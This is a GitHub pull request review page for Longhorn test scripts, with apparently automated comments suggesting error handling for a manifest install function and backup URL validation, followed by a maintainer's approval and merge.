🧰 Tools
🪛 Shellcheck

[warning] 50-50: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

Comment on lines +37 to +42
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
wait_longhorn_status_running
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Remove redundant assignment and add error handling.

The function has the following issues:

  1. Line 38 contains a redundant assignment LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
  2. Missing error handling for kubectl operations

Apply this diff:

 install_longhorn_stable_by_manifest(){
-  LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
   LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"  
-  kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
+  if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then
+    echo "Error: Failed to apply Longhorn manifest"
+    return 1
+  fi
   wait_longhorn_status_running
 }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_VERSION=${LONGHORN_STABLE_VERSION}
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"
wait_longhorn_status_running
}
install_longhorn_stable_by_manifest(){
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
if ! kubectl apply -f "${LONGHORN_STABLE_MANIFEST_URL}"; then
echo "Error: Failed to apply Longhorn manifest"
return 1
fi
wait_longhorn_status_running
}

Comment on lines +299 to +302
Create volume ${volume_id} from backup ${backup_id} in another cluster
${volume_name} = generate_name_with_suffix volume ${volume_id}
${backup_url} = get_backup_url_from_backup_list ${backups_before_uninstall} ${backup_id}
create_volume ${volume_name} fromBackup=${backup_url}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codebase verification

Missing backup URL format validation

No backup URL format validation found. Consider implementing validation to ensure compatibility across different Longhorn versions.

🔗 Analysis chain

Verify backup URL format

The backup URL format might differ between Longhorn versions. Consider adding validation for the backup URL format to ensure compatibility between different Longhorn versions.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Description: Check backup URL format across different Longhorn versions

# Search for backup URL format validation or transformation in the codebase
rg -A 5 'backup.*url.*format|backup.*url.*transform'

# Search for backup URL related tests
rg -A 5 'test.*backup.*url'

Length of output: 84


Script:

#!/bin/bash
# Description: Expanded search for backup URL format validation or related functions

# Search for various patterns related to backup URL handling
rg -i -A 5 'backup.*URL.*validate|backupURL|validateBackupURL|parse_backup|backup_url_format'

# Search for backup URL related tests with broader patterns
rg -i -A 5 'test.*backup.*URL|backup.*URL.*test'

Length of output: 9336

Copy link
Member

@yangchiu yangchiu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM

@yangchiu yangchiu merged commit 69f262b into longhorn:master Nov 26, 2024
5 of 7 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants